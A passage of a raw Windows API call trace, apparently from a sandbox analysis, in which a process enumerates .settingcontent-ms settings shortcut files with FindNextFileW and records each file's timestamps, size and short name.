lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d179e8d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3d179e8d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncCredentials_Toggle.settingcontent-ms", cAlternateFileName="AA4EA6~1.SET")) returned 1 [0218.504] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d63e806, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3d63e806, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncLanguage_Toggle.settingcontent-ms", cAlternateFileName="AAF46E~1.SET")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e46677b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3e46677b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncMaster_Toggle.settingcontent-ms", cAlternateFileName="AA6322~1.SET")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e892c6c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3e892c6c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x535, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncPersonalization_Toggle.settingcontent-ms", cAlternateFileName="AA0713~1.SET")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebb3d14, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3ebb3d14, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_Windows_Toggle.settingcontent-ms", cAlternateFileName="AA022F~1.SET")) returned 1 [0218.506] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee3c3c6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3ee3c3c6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4df, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_AddSecondaryWorkPin.settingcontent-ms", cAlternateFileName="AA4883~1.SET")) returned 1 [0218.506] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f26871d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f26871d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_AssignedAccess.settingcontent-ms", cAlternateFileName="AACFFB~1.SET")) returned 1 [0218.506] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3e5c48, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f3e5c48, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_ChangePassword.settingcontent-ms", cAlternateFileName="AA9B7D~1.SET")) returned 1 [0218.506] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f79f9ef, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f79f9ef, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_DelayLock.settingcontent-ms", cAlternateFileName="AAD33F~1.SET")) returned 1 [0218.506] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbcba67, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3fbcba67, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentFace.settingcontent-ms", cAlternateFileName="AA7497~1.SET")) returned 1 [0218.507] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe2e122, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3fe2e122, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentFingerprint.settingcontent-ms", cAlternateFileName="AA0705~1.SET")) returned 1 [0218.507] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4019b656, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4019b656, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_EnrollmentIris.settingcontent-ms", cAlternateFileName="AAD756~1.SET")) returned 1 [0218.507] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4038b58c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4038b58c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_PicturePassword.settingcontent-ms", cAlternateFileName="AAB78A~1.SET")) returned 1 [0218.507] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406862f4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x406862f4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_PINPassword.settingcontent-ms", cAlternateFileName="AA3171~1.SET")) returned 1 [0218.507] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b97255, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x40b97255, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_SingleSignOnAccountList.settingcontent-ms", cAlternateFileName="AA1454~1.SET")) returned 1 [0218.508] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40f9d241, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x40f9d241, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_VirtualDesktops_AltTabFilter.settingcontent-ms", cAlternateFileName="AA5D9F~1.SET")) returned 1 [0218.508] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4137d061, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4137d061, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_VirtualDesktops_TaskbarFilter.settingcontent-ms", cAlternateFileName="AA272F~1.SET")) returned 1 [0218.508] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4175cca7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4175cca7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Workplace_CorpDeviceManagement.settingcontent-ms", cAlternateFileName="AA0F9C~1.SET")) returned 1 [0218.508] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4223d845, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4223d845, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Workplace_RelatedSettings.settingcontent-ms", cAlternateFileName="AA1419~1.SET")) returned 1 [0218.508] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4255e9da, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4255e9da, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2433f6fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddOrRemovePrograms.settingcontent-ms", cAlternateFileName="ADDORR~1.SET")) returned 1 [0218.511] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42833908, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x42833908, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x232b5237, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0042AE00-17CC-42EC-B5AD-B8F08A025D71}.settingcontent-ms", cAlternateFileName="CLASSI~1.SET")) returned 1 [0218.511] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4293ea9a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4293ea9a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{01ACC6BC-9A3D-49c5-AC7D-0FB9E026C424}.settingcontent-ms", cAlternateFileName="CLASSI~2.SET")) returned 1 [0218.511] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b1c7e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x430b1c7e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2311185c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{028DE9F5-65F3-4A06-A048-421056F3E421}.settingcontent-ms", cAlternateFileName="CLASSI~3.SET")) returned 1 [0218.512] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43255695, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x43255695, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{030C20F0-E20B-417A-B7AD-CEC6EE955CD3}.settingcontent-ms", cAlternateFileName="CLASSI~4.SET")) returned 1 [0218.512] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435766bb, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x435766bb, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22250fbc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{059ECE57-19D1-4112-B05C-86F8ED5DA6B0}.settingcontent-ms", cAlternateFileName="CL947F~1.SET")) returned 1 [0218.512] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b200a0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x43b200a0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231f666f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{06628900-13DD-4fc3-A18B-0E9CE7B663ED}.settingcontent-ms", cAlternateFileName="CL1F68~1.SET")) returned 1 [0218.512] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44031086, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x44031086, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224ffa05, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{06D12455-F35D-44D6-8E00-3F6A360CC030}.settingcontent-ms", cAlternateFileName="CLCEC1~1.SET")) returned 1 [0218.513] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44542160, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x44542160, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2315dd0d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{06FF5AE9-8F7C-41AD-B71B-62137DE26715}.settingcontent-ms", cAlternateFileName="CLF02D~1.SET")) returned 1 [0218.513] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448d594d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x448d594d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2211fcec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{082594D9-8481-43F0-AE8F-62EA920A4220}.settingcontent-ms", cAlternateFileName="CL2385~1.SET")) returned 1 [0218.513] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44fb0692, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x44fb0692, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231f666f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{083D5202-600A-4f38-981B-2D138FBDC4D1}.settingcontent-ms", cAlternateFileName="CLD73B~1.SET")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b4fd76, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x45b4fd76, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2311185c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{08D48377-1C06-416D-B382-61E8D5F6CD18}.settingcontent-ms", cAlternateFileName="CLE0D3~1.SET")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45ee3647, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x45ee3647, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2241abe6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{08EB53B7-3384-473A-8D2C-6C0E71F3BF34}.settingcontent-ms", cAlternateFileName="CLB2C7~1.SET")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46014a09, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x46014a09, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231d0415, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="classic_{09bf6a57-7bf7-4389-8d6f-2bcf6a26bb4e}.settingcontent-ms", cAlternateFileName="CL03D8~1.SET")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4622a987, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4622a987, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0CDC534D-A9FF-450D-91D8-96C341ED44AA}.settingcontent-ms", cAlternateFileName="CLB9A0~1.SET")) returned 1 [0218.514] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47006399, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x47006399, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0df44eaa-ff21-4412-828e-260a8728e7f1}.settingcontent-ms", cAlternateFileName="CL4A77~1.SET")) returned 1 [0218.515] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x471cffdb, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x471cffdb, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23078eee, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0DF721FA-F921-4416-A491-1924F212C705}.settingcontent-ms", cAlternateFileName="CL22DC~1.SET")) returned 1 [0218.515] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47373ad9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x47373ad9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x232b5237, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms", cAlternateFileName="CLD7B6~1.SET")) returned 1 [0218.515] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4777983c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4777983c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224ffa05, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{0F1B68F6-B72D-4229-BC9C-A87F0B16B17B}.settingcontent-ms", cAlternateFileName="CL9A4B~1.SET")) returned 1 [0218.518] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47c3e34f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x47c3e34f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22440e3c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{1011988D-12F9-446b-85FF-A1579CCD1678}.settingcontent-ms", cAlternateFileName="CL9D44~1.SET")) returned 1 [0218.518] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4819b941, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4819b941, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x224d97aa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms", cAlternateFileName="CL13E5~1.SET")) returned 1 [0218.518] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4852f371, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4852f371, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x22204b03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{11135AE0-7372-4f85-8D1B-93D6EFBE5A99}.settingcontent-ms", cAlternateFileName="CLF96F~1.SET")) returned 1 [0218.519] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e0dae60 | out: lpFindFileData=0x1e0dae60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487b7f02, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x487b7f02, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x231aa1ba, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic_{11E71674-7556-4E27-8D59-03B2FA846204}.settingcontent-ms", cAlternateFileName="CLB1DB~1.SET")) returned 1 [0218.519] FindNextFileW (in: 